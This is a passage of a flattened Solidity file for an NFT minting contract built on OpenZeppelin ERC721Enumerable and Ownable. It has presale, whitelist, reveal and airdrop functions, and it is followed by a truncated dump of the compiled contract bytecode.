balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: Desktop/All_Clients_contracts/contracts/adminpanel.sol //SPDX-License-Identifier: MIT pragma solidity ^0.8.7; interface Tokend{ function tokenURI(uint256 tokenId) external returns (string memory); } contract NFT_Minting is ERC721Enumerable, Ownable { using Strings for uint256; string private unRevealedURL="ipfs://ghjkgdgfhjbghttyuyutuuy/"; bool public isRevealed=false; //private string public baseURI; //private string public baseExtension = ".json"; uint256 public cost = 0.02 ether; uint256 public presaleCost = 0.08 ether; uint256 public maxSupply = 963; uint256 public maxMintAmount = 5; bool public paused = false; mapping(address => bool) public whitelisted; mapping(uint => address) public blacklisted; uint public totalBlacklisted; mapping(address => bool) public presaleWallets; constructor( string memory _name, string memory _symbol, string memory _initBaseURI ) ERC721(_name, _symbol) { setBaseURI(_initBaseURI); // mint(msg.sender, 20); } // internal function _baseURI() internal view virtual override returns (string memory) { return baseURI; } // public function mint(address _to, uint256 _mintAmount) public payable { uint256 supply = totalSupply(); require(!paused,"minting is paused"); require(_mintAmount > 0,"you didn't add any number"); require(_mintAmount <= maxMintAmount,"you cant mint more"); require(supply + _mintAmount <= maxSupply,"all Nfts has been sold"); if (msg.sender != owner()) { if (whitelisted[msg.sender] != true) { if (presaleWallets[msg.sender] != true) { //general public require(msg.value >= cost * _mintAmount,"hello5"); blacklisted[totalBlacklisted]=msg.sender; totalBlacklisted++; } else { //presale require(msg.value >= presaleCost * _mintAmount,"hello6"); } } } for (uint256 i = 1; i <= _mintAmount; i++) { _safeMint(_to, supply + i); } } function walletOfOwner(address _owner) public view returns (uint256[] memory) { uint256 ownerTokenCount = balanceOf(_owner); uint256[] memory tokenIds = new uint256[](ownerTokenCount); for (uint256 i; i < ownerTokenCount; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, i); } return tokenIds; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if(isRevealed==true) { require( _exists(tokenId), "ERC721Metadata: URI query for nonexistent token" ); string memory currentBaseURI = _baseURI(); return bytes(currentBaseURI).length > 0 ? string( abi.encodePacked( currentBaseURI, tokenId.toString(), baseExtension ) ) : ""; } else{ return unRevealedURL; } } function reveal_collection()public onlyOwner{ require(isRevealed!=true,"Collection is already revealed"); isRevealed = true; } //only owner function setCost(uint256 _newCost) public onlyOwner { cost = _newCost; } function setPresaleCost(uint256 _newCost) public onlyOwner { presaleCost = _newCost; } function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner { maxMintAmount = _newmaxMintAmount; } function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } function setBaseExtension(string memory _newBaseExtension) public onlyOwner { baseExtension = _newBaseExtension; } function pause(bool _state) public onlyOwner { paused = _state; } function whitelistUser(address _user) public onlyOwner { whitelisted[_user] = true; } function removeWhitelistUser(address _user) public onlyOwner { whitelisted[_user] = false; } function addPresaleUser(address _user) public onlyOwner { presaleWallets[_user] = true; } function addPresaleUsers(address[] memory _users) public onlyOwner { uint total_users = _users.length; for (uint256 i = 0; i < total_users; i++) { presaleWallets[_users[i]] = true; } } function addWhitelistUsers(address[] memory _users) public onlyOwner { uint total_users = _users.length; for (uint256 i = 0; i < total_users; i++) { whitelisted[_users[i]] = true; } } function removePresaleUser(address _user) public onlyOwner { presaleWallets[_user] = false; } function totalearning() public view onlyOwner returns(uint) { return address(this).balance; } function AirDrop(address[] calldata _to,uint256[] calldata _id) external onlyOwner{ require(_to.length == _id.length,"receivers and ids have different lengths"); for(uint i=0;i<_to.length;i++) { safeTransferFrom(msg.sender,_to[i],_id[i]); } } function withdraw() public payable onlyOwner { (bool success, ) = payable(msg.sender).call{ value: address(this).balance }(""); require(success); } }
0x6080604052600436106102ae5760003560e01c806355f804b3116101755780638fdcf942116100dc578063c87b56dd11610095578063da3ef23f1161006f578063da3ef23f14610a90578063e985e9c514610ab9578063ed931e1714610af6578063f2fde38b14610b1f576102ae565b8063c87b56dd146109eb578063d5abeb0114610a28578063d936547e14610a53576102ae565b80638fdcf942146108f157806395d89b411461091a578063a22cb46514610945578063b2f3e85e1461096e578063b88d4fde14610997578063c6682862146109c0576102ae565b806370a082311161012e57806370a08231146107f5578063715018a6146108325780637f00c7a6146108495780638a93973b146108725780638ae28a401461089d5780638da5cb5b146108c6576102ae565b806355f804b3146106f95780635c975abb1461072257806360f0718e1461074d5780636352211e14610764578063686b2812146107a15780636c0360eb146107ca576102ae565b80632f745c5911610219578063438b6300116101d2578063438b6300146105d957806344a0d68a146106165780634a4c560d1461063f5780634f6ccce71461066857806351524e5b146106a557806354214f69146106ce576102ae565b80632f745c59146104e757806330b2264e1461052457806330cc7ae0146105615780633ccfd60b1461058a57806340c10f191461059457806342842e0e146105b0576102ae565b806318160ddd1161026b57806318160ddd146103d55780631b70cd3814610400578063239c70ae1461042b57806323b872dd1461045657806323db4c911461047f5780632a23d07d146104bc576102ae565b806301ffc9a7146102b357806302329a29146102f057806306fdde0314610319578063081812fc14610344578063095ea7b31461038157806313faede6146103aa575b600080fd5b3480156102bf57600080fd5b506102da60048036038101906102d59190614070565b610b48565b6040516102e79190614794565b60405180910390f35b3480156102fc57600080fd5b5061031760048036038101906103129190614043565b610bc2565b005b34801561032557600080fd5b5061032e610c5b565b60405161033b91906147af565b60405180910390f35b34801561035057600080fd5b5061036b60048036038101906103669190614113565b610ced565b604051610378919061470b565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613f39565b610d72565b005b3480156103b657600080fd5b506103bf610e8a565b6040516103cc9190614b11565b60405180910390f35b3480156103e157600080fd5b506103ea610e90565b6040516103f79190614b11565b60405180910390f35b34801561040c57600080fd5b50610415610e9d565b6040516104229190614b11565b60405180910390f35b34801561043757600080fd5b50610440610f21565b60405161044d9190614b11565b60405180910390f35b34801561046257600080fd5b5061047d60048036038101906104789190613e23565b610f27565b005b34801561048b57600080fd5b506104a660048036038101906104a19190614113565b610f87565b6040516104b3919061470b565b60405180910390f35b3480156104c857600080fd5b506104d1610fba565b6040516104de9190614b11565b60405180910390f35b3480156104f357600080fd5b5061050e60048036038101906105099190613f39565b610fc0565b60405161051b9190614b11565b60405180910390f35b34801561053057600080fd5b5061054b60048036038101906105469190613db6565b611065565b6040516105589190614794565b60405180910390f35b34801561056d57600080fd5b5061058860048036038101906105839190613db6565b611085565b005b61059261115c565b005b6105ae60048036038101906105a99190613f39565b611251565b005b3480156105bc57600080fd5b506105d760048036038101906105d29190613e23565b6115bf565b005b3480156105e557600080fd5b5061060060048036038101906105fb9190613db6565b6115df565b60405161060d9190614772565b60405180910390f35b34801561062257600080fd5b5061063d60048036038101906106389190614113565b61168d565b005b34801561064b57600080fd5b5061066660048036038101906106619190613db6565b611713565b005b34801561067457600080fd5b5061068f600480360381019061068a9190614113565b6117ea565b60405161069c9190614b11565b60405180910390f35b3480156106b157600080fd5b506106cc60048036038101906106c79190613f79565b61185b565b005b3480156106da57600080fd5b506106e3611992565b6040516106f09190614794565b60405180910390f35b34801561070557600080fd5b50610720600480360381019061071b91906140ca565b6119a5565b005b34801561072e57600080fd5b50610737611a3b565b6040516107449190614794565b60405180910390f35b34801561075957600080fd5b50610762611a4e565b005b34801561077057600080fd5b5061078b60048036038101906107869190614113565b611b3e565b604051610798919061470b565b60405180910390f35b3480156107ad57600080fd5b506107c860048036038101906107c39190613ffa565b611bf0565b005b3480156107d657600080fd5b506107df611d07565b6040516107ec91906147af565b60405180910390f35b34801561080157600080fd5b5061081c60048036038101906108179190613db6565b611d95565b6040516108299190614b11565b60405180910390f35b34801561083e57600080fd5b50610847611e4d565b005b34801561085557600080fd5b50610870600480360381019061086b9190614113565b611ed5565b005b34801561087e57600080fd5b50610887611f5b565b6040516108949190614b11565b60405180910390f35b3480156108a957600080fd5b506108c460048036038101906108bf9190613ffa565b611f61565b005b3480156108d257600080fd5b506108db612078565b6040516108e8919061470b565b60405180910390f35b3480156108fd57600080fd5b5061091860048036038101906109139190614113565b6120a2565b005b34801561092657600080fd5b5061092f612128565b60405161093c91906147af565b60405180910390f35b34801561095157600080fd5b5061096c60048036038101906109679190613ef9565b6121ba565b005b34801561097a57600080fd5b5061099560048036038101906109909190613db6565b6121d0565b005b3480156109a357600080fd5b506109be60048036038101906109b99190613e76565b6122a7565b005b3480156109cc57600080fd5b506109d5612309565b6040516109e291906147af565b60405180910390f35b3480156109f757600080fd5b50610a126004803603810190610a0d9190614113565b612397565b604051610a1f91906147af565b60405180910390f35b348015610a3457600080fd5b50610a3d6124f0565b604051610a4a9190614b11565b60405180910390f35b348015610a5f57600080fd5b50610a7a6004803603810190610a759190613db6565b6124f6565b604051610a879190614794565b60405180910390f35b348015610a9c57600080fd5b50610ab76004803603810190610ab291906140ca565b612516565b005b348015610ac557600080fd5b50610ae06004803603810190610adb9190613de3565b6125ac565b604051610aed9190614794565b60405180910390f35b348015610b0257600080fd5b50610b1d6004803603810190610b189190613db6565b612640565b005b348015610b2b57600080fd5b50610b466004803603810190610b419190613db6565b612717565b005b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffff